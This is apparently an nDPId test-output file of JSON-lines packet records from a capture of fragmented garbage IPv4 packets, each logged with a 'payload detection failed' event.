+00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256809,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256849,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256862,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256918,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256935,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256959,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256967,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256976,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256983,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257014,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257048,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257063,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257078,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257086,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257102,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257111,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257119,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257128,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257135,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257147,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257218,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 